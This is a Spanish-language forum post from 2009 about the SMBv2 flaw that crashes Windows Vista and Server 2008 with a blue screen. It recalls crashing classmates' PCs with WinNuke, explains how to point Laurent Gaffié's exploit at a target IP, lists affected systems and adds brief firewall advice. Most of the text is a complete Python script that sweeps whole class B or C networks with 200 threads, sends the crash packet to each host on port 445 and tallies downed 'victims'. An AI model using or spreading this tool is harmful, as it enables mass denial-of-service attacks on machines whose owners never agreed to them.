"En la época de Windows 95 (que en paz descanse) nos lo pasamos genial en clase lanzando WinNukes a diestro y siniestro, para dejar K.O. (Pantallazo Azul De La Muerte o Blue Screen Of Dead o BSOD) el sistema operativo del vecino que luego gritaba "Profe, ¡se me ha puesto el salvapantallas o algo!".
Enviando cierta cadena por un puerto determinado, el 139 TCP, conseguiamos el bloqueo absoluto del entorno, y tocaba reiniciar.
La película parece que se vuelve a repetir, pero esta vez le toca el turno a Windows Vista y Windows 7.
El fallo se ha encontrado de nuevo en el protocolo SMB encargado de compartir ficheros e impresoras, pero esta vez afectando a una nueva versión 2 incluída dentro de dichos sistemas operativos. Más información en este enlace, y en este otro vereis su especificación.
Laurent Gaffié, descubridor de esta vulnerabilidad, ha publicado además un código en python el cual una vez ejecutado, provocará un pantallazo azul en ambos sistemas.
Centraros en la importancia de la vulnerabilidad,
no en la imagen, que os conozco...
El código lo teneis en el mismo post, y únicamente tendreis que cambiar el valor de IP_ADDR en la siguiente linea:
host = "[b]IP_ADDR[/b]", 445
Con la dirección IP del sistema con Windows Vista o 7, y que como no, tiene que tener activado dicho servicio de compartir ficheros e impresoras. Si en vez de dejar en el código la dirección IP, cambiais dicho string por argv[1], se ejecutará para la dirección IP que pongais como parámetro al ejecutarlo.[/i]"
[+] Blog de Laurent Gaffié
[+] WinNuke en la Wikipedia
[+] Fuente
===========================================================
CONSEJO:
Si os conectáis directamente a la red (a través de modem, cable modem, o router en modo monopuesto), ¡USAD UN CORTAFUEGOS!
Si usáis un router, vigilad no tener la DMZ (zona desmilitarizada) apuntando a vuestra dirección LAN, y precaución con los puertos abiertos.
Si es inevitable, usad un cortafuegos y/o deshabilitar el servicio de compartición de carpetas e impresoras si no lo usáis.
El cortafuegos de Windows hasta el momento no permite conexión, pero es cuestión de tiempo que algún software malicoso se lo salte.
===========================================================
Lista de sistemas operativos afectados (según Microsoft)
Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2
Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2
NO AFECTADOS:
Microsoft Windows 2000 Service Pack 4
Windows XP Service Pack 2 and Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systems
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows Server 2008 R2 for x64-based Systems
Windows Server 2008 R2 for Itanium-based Systems
Fuente:
Comprobado personalmente que Windows 7 7100 RC - SI - esta afectado
===========================================================
MaKi nos proporciona un script python para realizar el ataques sobre redes de tipo B y C.
Actualizaciones en el post de su blog:
Script (* Probado solamente en Linux)#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog: http://blogricardo.wordpress.com/20...ndows-vista-2008
# Hecho Ricardo Marmolejo García <[email protected]>
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 09 de septiembre de 2009 20:01
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 ( http://blogricardo.wordpress.com/licencia/ )
import time
import sys
import subprocess
import threading
from threading import Thread
from Queue import Queue
from socket import *
from struct import *
from time import sleep
# configuracion
NUM_THREADS = 200
DEBUG = True
TIPO_RED = 'C' # Tipo: 'B', 'C' o '1'
RED_UNICO = '192.168.1.6'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"
class Pool:
def __init__(self , numHilos):
self.cola = Queue()
self.numHilos = numHilos
self.lock = False
self.interrumpido = False
self.numTrabajos = 0
def intentarEmpezarTrabajo(self , cola , idWorker , *args):
while not self.interrumpido:
if (self.numTrabajos > 0):
elemento = cola.get()
self.ejecutar(idWorker , elemento , *args)
cola.task_done()
self.numTrabajos -= 1
else:
# comprueba si hay tareas cada cierto tiempo
time.sleep(0.5)
def estaOcupado(self):
return self.numTrabajos > 0
def nuevoElemento(self, elemento):
self.numTrabajos += 1
self.cola.put(elemento)
def empezar(self , args=None):
if not self.lock:
self.lock = True
for idWorker in range(self.numHilos):
lista_args = []
lista_args.append( self.cola )
lista_args.append( idWorker )
if args != None:
for arg in args:
lista_args.append( arg )
worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
worker.setDaemon(True)
worker.start()
# aqui se bloquea hasta que termine
self.cola.join()
self.lock = False
def esLock(self):
return self.lock
# metodo para sobreescribir
def ejecutar(self , idWorker , elemento , *arg):
print "Debes sobreescribir el método"
raise NotImplementedError
def interrumpir(self):
self.interrumpido = True
# herencia multiple
class PoolNukers(Pool , Thread):
def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
Pool.__init__(self , numHilos)
Thread.__init__(self)
self.numHilos = numHilos
self.listaVictimasExito = listaVictimasExito
self.listaVictimasFracaso = listaVictimasFracaso
self.TIMEOUT = 10
self.puerto = 445
self.buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
# cuando el hilo empieza -> empieza la pool de 200 cuervos
def run(self):
self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )
def nuevaVictima(self, victima):
self.nuevoElemento(victima)
def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
def estaVivo(victima, puerto):
try:
s = socket()
s.settimeout(self.TIMEOUT)
s.connect((victima,puerto))
s.close()
return True
except:
return False
try:
if DEBUG:
print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
s = socket()
s.settimeout(self.TIMEOUT)
s.connect((victima,self.puerto))
if DEBUG:
print "Enviando cadena a %s" % victima
s.send(self.buff)
s.close()
# Comprobar si sigue vivo
if DEBUG:
print "%s ha sido atacado, comrpobando si sigue vivo" % victima
# le dejamos tiempo para morir
sleep(3)
if not estaVivo(victima, self.puerto):
listaVictimasExito.append(victima)
if DEBUG:
print "Exito con %s !!!" % victima
else:
listaVictimasFracaso.append(victima)
except:
if DEBUG:
print "Error enviando la cadena a %s" % victima
listaVictimasExito = []
listaVictimasFracaso = []
poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':
# RED TIPO B
cont = 0
for i in range(254):
for j in range(254):
host = RED_B % (i+1, j+1)
poolNukers.nuevaVictima(host)
cont += 1
elif TIPO_RED == 'C':
# RED TIPO C
cont = 0
for i in range(254):
host = RED_C % (i+1)
poolNukers.nuevaVictima(host)
cont += 1
else:
# 1 única victima
cont = 1
poolNukers.nuevaVictima(RED_UNICO)
print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()
if len(listaVictimasExito) > 0:
print "\n\nHost atacados y PETADOS"
print "---------------------------------------------"
for victima in listaVictimasExito:
print "%s ha petado ;D" % victima
else:
print "No se ha petado ninguna victima ;("
if len(listaVictimasFracaso) > 0:
print "\n\nHost atacados pero continuan en pie"
print "---------------------------------------------"
for victima in listaVictimasFracaso:
print "%s sigue en pie ;(" % victima